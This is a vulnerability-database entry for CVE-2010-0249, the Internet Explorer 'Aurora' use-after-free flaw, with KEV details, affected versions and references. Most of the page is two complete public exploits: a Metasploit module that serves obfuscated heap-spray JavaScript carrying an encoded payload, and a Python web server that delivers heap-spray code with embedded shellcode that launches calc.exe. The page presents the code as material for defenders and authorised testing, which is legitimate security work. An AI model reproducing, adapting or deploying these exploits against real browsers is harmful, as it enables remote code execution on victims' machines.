CVE-2010-0249
Description
Microsoft Internet Explorer contains an use-after-free vulnerability that could allow remote attackers to execute arbitrary code by accessing a pointer associated with a deleted object. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.
CISA KEV
- Vendor
- Microsoft
- Product
- Internet Explorer
- Due date
- 2026-06-03
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Microsoft Internet Explorer - 'Aurora' Memory Corruption (MS10-002) (Metasploit)
##
# $Id: ms10_002_aurora.rb 9787 2010-07-12 02:51:50Z egypt $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
#
# Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn
#
#include Msf::Exploit::Remote::BrowserAutopwn
#autopwn_info({
# :ua_name => HttpClients::IE,
# :ua_minver => "6.0",
# :ua_maxver => "6.0",
# :javascript => true,
# :os_name => OperatingSystems::WINDOWS,
# :vuln_test => nil, # no way to test without just trying it
#})
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer "Aurora" Memory Corruption',
'Description' => %q{
This module exploits a memory corruption flaw in Internet Explorer. This
flaw was found in the wild and was a key component of the "Operation Aurora"
attacks that lead to the compromise of a number of high profile companies. The
exploit code is a direct port of the public sample published to the Wepawet
malware analysis site. The technique used by this module is currently identical
to the public sample, as such, only Internet Explorer 6 can be reliably exploited.
},
'License' => MSF_LICENSE,
'Author' =>
[
'unknown',
'hdm' # Metasploit port
],
'Version' => '$Revision: 9787 $',
'References' =>
[
['MSB', 'MS10-002'],
['CVE', '2010-0249'],
['OSVDB', '61697'],
['URL', 'http://www.microsoft.com/technet/security/advisory/979352.mspx'],
['URL', 'http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { }],
],
'DisclosureDate' => 'Jan 14 2009', # wepawet sample
'DefaultTarget' => 0))
@javascript_encode_key = rand_text_alpha(rand(10) + 10)
end
def on_request_uri(cli, request)
if (request.uri.match(/\.gif/i))
data = "R0lGODlhAQABAIAAAAAAAAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==".unpack("m*")[0]
send_response(cli, data, { 'Content-Type' => 'image/gif' })
return
end
if (!request.uri.match(/\?\w+/))
send_local_redirect(cli, "?#{@javascript_encode_key}")
return
end
var_boom = rand_text_alpha(rand(100) + 1)
var_element = rand_text_alpha(rand(100) + 1)
var_event = rand_text_alpha(rand(100) + 1)
var_loaded = rand_text_alpha(rand(100) + 1)
var_loaded_arg = rand_text_alpha(rand(100) + 1)
var_memory = rand_text_alpha(rand(100) + 1)
var_spray = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)
var_el_array = rand_text_alpha(rand(100) + 1)
bleh = rand_text_alpha(3);
var_grab_mem = rand_text_alpha(rand(100) + 1)
var_unescape = rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)
var_span_id = rand_text_alpha(rand(100) + 1)
var_start = rand_text_alpha(rand(100) + 1)
rand_html = rand_text_english(rand(400) + 500)
js = %Q|var #{var_element} = "COMMENT";
var #{var_el_array} = new Array();
for (i = 0; i < 1300; i++)
{
#{var_el_array}[i] = document.createElement(#{var_element});
#{var_el_array}[i].data = "#{bleh}";
}
var #{var_event} = null;
var #{var_memory} = new Array();
var #{var_unescape} = unescape;
function #{var_boom}()
{
var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "d" + "%u" + "0" + "c" + "0" + "d" );
do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 );
for (#{var_i} = 0; #{var_i} < 150; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};
}
function #{var_loaded}(#{var_loaded_arg})
{
#{var_boom}();
#{var_event} = document.createEventObject(#{var_loaded_arg});
document.getElementById("#{var_span_id}").innerHTML = "";
window.setInterval(#{var_grab_mem}, 50);
}
function #{var_grab_mem}()
{
p = "\\u0c0f\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d";
for (i = 0; i < #{var_el_array}.length; i++)
{
#{var_el_array}[i].data = p;
}
var t = #{var_event}.srcElement;
}
|
js_encoded = encrypt_js(js, @javascript_encode_key)
html = %Q|<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<html>
<head>
<script>
#{js_encoded}
</script>
</head>
<body>
<span id="#{var_span_id}"><iframe src="#{get_resource}#{var_start}.gif" onload="#{var_loaded}(event)" /></span></body></html>
</body>
</html>|
print_status("Sending #{self.name} to client #{cli.peerhost}")
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
# Handle the payload
handler(cli)
end
end
Microsoft Internet Explorer 6 - 'Aurora' Memory Corruption (MS10-002)
#
# Author : Ahmed Obied (ahmed.obied@gmail.com)
#
# This program acts as a web server that generates an exploit to
# target a vulnerability (CVE-2010-0249) in Internet Explorer.
# The exploit was tested using Internet Explorer 6 on Windows XP SP2.
# The exploit's payload spawns the calculator.
#
# Usage : python ie_aurora.py [port number]
#
import sys
import socket
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
class RequestHandler(BaseHTTPRequestHandler):
def convert_to_utf16(self, payload):
enc_payload = ''
for i in range(0, len(payload), 2):
num = 0
for j in range(0, 2):
num += (ord(payload[i + j]) & 0xff) << (j * 8)
enc_payload += '%%u%04x' % num
return enc_payload
def get_payload(self):
# win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub
# http://metasploit.com
payload = '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73'
payload += '\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e'
payload += '\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a'
payload += '\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97'
payload += '\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56'
payload += '\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85'
payload += '\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1'
payload += '\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85'
payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02'
payload += '\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e'
payload += '\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61'
payload += '\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e'
return self.convert_to_utf16(payload)
def get_exploit(self):
exploit = '''
<html>
<head>
<script>
var obj, event_obj;
function spray_heap()
{
var chunk_size, payload, nopsled;
chunk_size = 0x80000;
payload = unescape("<PAYLOAD>");
nopsled = unescape("<NOP>");
while (nopsled.length < chunk_size)
nopsled += nopsled;
nopsled_len = chunk_size - (payload.length + 20);
nopsled = nopsled.substring(0, nopsled_len);
heap_chunks = new Array();
for (var i = 0 ; i < 200 ; i++)
heap_chunks[i] = nopsled + payload;
}
function initialize()
{
obj = new Array();
event_obj = null;
for (var i = 0; i < 200 ; i++ )
obj[i] = document.createElement("COMMENT");
}
function ev1(evt)
{
event_obj = document.createEventObject(evt);
document.getElementById("sp1").innerHTML = "";
window.setInterval(ev2, 1);
}
function ev2()
{
var data, tmp;
data = "";
tmp = unescape("%u0a0a%u0a0a");
for (var i = 0 ; i < 4 ; i++)
data += tmp;
for (i = 0 ; i < obj.length ; i++ ) {
obj[i].data = data;
}
event_obj.srcElement;
}
function check()
{
if (navigator.userAgent.indexOf("MSIE") == -1)
return false;
return true;
}
if (check()) {
initialize();
spray_heap();
}
else
window.location = 'about:blank'
</script>
</head>
<body>
<span id="sp1">
<img src="aurora.gif" onload="ev1(event)">
</span>
</body>
</html>
'''
exploit = exploit.replace('<PAYLOAD>', self.get_payload())
exploit = exploit.replace('<NOP>', '%u0a0a%u0a0a')
return exploit
def get_image(self):
content = '\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff'
content += '\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44'
content += '\x01\x00\x3b'
return content
def log_request(self, *args, **kwargs):
pass
def do_GET(self):
try:
if self.path == '/':
print
print '[-] Incoming connection from %s' % self.client_address[0]
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
print '[-] Sending exploit to %s ...' % self.client_address[0]
self.wfile.write(self.get_exploit())
print '[-] Exploit sent to %s' % self.client_address[0]
elif self.path == '/aurora.gif':
self.send_response(200)
self.send_header('Content-Type', 'image/gif')
self.end_headers()
self.wfile.write(self.get_image())
except:
print '[*] Error : an error has occured while serving the HTTP request'
print '[-] Exiting ...'
sys.exit(-1)
def main():
if len(sys.argv) != 2:
print 'Usage: %s [port number (between 1024 and 65535)]' % sys.argv[0]
sys.exit(0)
try:
port = int(sys.argv[1])
if port < 1024 or port > 65535:
raise ValueError
try:
serv = HTTPServer(('', port), RequestHandler)
ip = socket.gethostbyname(socket.gethostname())
print '[-] Web server is running at http://%s:%d/' % (ip, port)
try:
serv.serve_forever()
except:
print '[-] Exiting ...'
except socket.error:
print '[*] Error : a socket error has occurred'
sys.exit(-1)
except ValueError:
print '[*] Error : an invalid port number was given'
sys.exit(-1)
if __name__ == '__main__':
main()
Metasploit modules
OS impact
Windows Fixed 2 releases
| Version | Status | Fixed in |
|---|---|---|
| r2 | Not affected | โ |
| - | Not affected | โ |
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| microsoft | internet_explorer | 5.0.1 | |
| microsoft | internet_explorer | 6 | |
| microsoft | internet_explorer | 7.0 | |
| microsoft | internet_explorer | 8 | |
References
- http://blogs.technet.com/msrc/archive/2010/01/14/security-advisory-979352.aspx
- http://news.cnet.com/8301-27080_3-10435232-245.html
- http://osvdb.org/61697
- http://securitytracker.com/id?1023462
- http://support.microsoft.com/kb/979352
- http://www.exploit-db.com/exploits/11167
- http://www.kb.cert.org/vuls/id/492515
- http://www.microsoft.com/technet/security/advisory/979352.mspx
- http://www.securityfocus.com/bid/37815
- http://www.us-cert.gov/cas/techalerts/TA10-055A.html
- http://www.vupen.com/english/advisories/2010/0135
- https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-002
- https://exchange.xforce.ibmcloud.com/vulnerabilities/55642
- https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6835
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2010-0249
- https://learn.microsoft.com/en-us/security-updates/SecurityAdvisories/2010/979352 ; https://nvd.nist.gov/vuln/detail/CVE-2010-0249
CWEs
CWE-416
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